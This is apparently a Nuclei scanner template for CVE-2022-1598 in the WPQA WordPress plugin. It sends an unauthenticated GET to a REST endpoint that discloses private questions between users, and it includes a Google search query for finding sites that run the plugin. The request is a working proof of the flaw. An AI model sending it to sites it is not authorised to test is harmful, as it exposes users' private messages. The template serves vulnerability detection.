id: CVE-2022-1598

info:
  name: WordPress Plugin WPQA < 5.5 - Unauthenticated Private Message Disclosure
  author: veshraj
  severity: medium
  description: |
    The plugin which is a companion to the Discy and Himer themes, lacks authentication in a REST API endpoint, allowing unauthenticated users to discover private questions sent between users on the site.
  reference:
    - https://wpscan.com/vulnerability/0416ae2f-5670-4080-a88d-3484bb19d8c8
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-1598
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2022-1598
    cwe-id: CWE-284
  metadata:
    google-query: inurl:/wp-content/plugins/wpqa
    verified: "true"
  tags: cve,cve2022,wordpress,wp-plugin,wpqa,idor,wpscan

requests:
  - method: GET
    path:
      - '{{BaseURL}}/wp-json/wp/v2/asked-question'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"id":'
          - '"rendered":'
        condition: and

      - type: status
        status:
          - 200